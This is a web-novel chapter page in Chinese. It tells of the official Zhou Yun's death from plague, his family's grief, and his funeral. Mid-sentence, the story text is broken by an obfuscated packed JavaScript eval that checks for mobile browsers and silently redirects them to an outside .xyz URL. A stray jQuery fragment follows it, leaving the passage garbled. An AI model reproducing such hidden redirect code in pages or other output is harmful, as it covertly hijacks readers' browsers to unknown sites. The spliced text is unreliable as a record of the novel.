阅读设置(推荐配合 快捷键[F11] 进入全屏沉浸式阅读)

设置X

15. 噩耗(2 / 3)

颤抖着双眸抬头看去,映入她眼帘的便是双子玉砌般的姣好容颜。

那两张她深恶痛绝的脸的主人,此时正无声地蹲在她两侧,目光沉静,一言不发地扶着她的肩膀,避免了她被周晔推开后的二次伤害。

一时间,失去亲生父亲的震惊、痛苦,以及被自己最讨厌的两个弟弟所救的羞愤、复杂之感涌上心头,周思思紧绷的情绪再也按捺不住,眼泪顿时夺眶而出,顷刻间便哭花了妆。

“呜呜呜呜,爹爹——”

随着周思思这一哭,崩断的便不只是她一人的弦,刚刚扶在门框旁的赵姝更是身子一软,泪水哗哗落下,两眼一翻便向后晕了过去,被匆匆赶来的周尧接了个正着。

“伯母!”周尧惊叫。

顺德二十三年二月,周昀在永州任职期间因疫病离世,同年三月,其骨灰被带回故乡云州家宅安葬。

顺德二十三年四月,其一母同生的胞弟周晔继承

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060994|163001||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

家主之位,成为周府上下近百人的最高权力掌管者。

时隔六年,周府再次挂上了白色的丧幡,门口的长明灯依旧是那副闪烁跳动的样子,忽明忽暗,燃烧着并不刺眼的烛火。

周昀作为前云州县官,履历干净,工作认真,虽不说治理能力极佳,有振兴一方水土的丰功伟绩,但也是实实在在地为云州城的百姓做了不少好事的,因此当他殉职他乡的消息在城中传播开之后,许多素来与他交好的官员和朋友便竞相前来探望。

随着清晨的天色缓缓亮起,周府门前来吊唁的人流渐渐增多,来者皆着素色,面容肃穆,或手捧白花,或携带自己书写的挽联缓缓步入府内。

他们中有的人是与周昀有着多年交情的老友,此时望向灵堂中遗像的眸光中隐隐闪烁着泪光,有的则是慕名前来的官员,虽未与周昀有太多深厚的私交,但也大多是曾与他合作一二得其帮助过的。

正因如此,在眼下氛围的烘托下,这些人也是微微躬身,沉静而庄重地对着周昀的灵位方向拜了一拜。

周府内的人今日也着上了清一色的白衣,赵姝头戴珍珠白色的绢花,面容苍白,眼圈红肿,显然已经哭过多次。

她静静地站在灵堂一侧,身旁伴着的是同样一身素白的周思思,每当有人前来吊唁时,她都会努力控制自己的情绪,向来客点头示意。

然而,在没有外人进入的时候,她的双眸便会情不自禁地陷入一阵空洞,眼神中流露出深深的哀切和无尽的痛苦。

周思思头发简单地挽起,手执一方绢帕,轻微抽噎,频频拭泪。

双子二人站在另一侧,眸光微敛,神色静默而沉重。

与这几位周昀的直系亲属哀痛的表现不同,周晔的态度就明显复杂了许多。

他虽然在灵堂前按照传统礼仪缓缓地鞠躬三次,但动作略显机械僵硬,仿佛是在执行一项不得不完成的任务。

而当

上一页 目录 +书签 下一页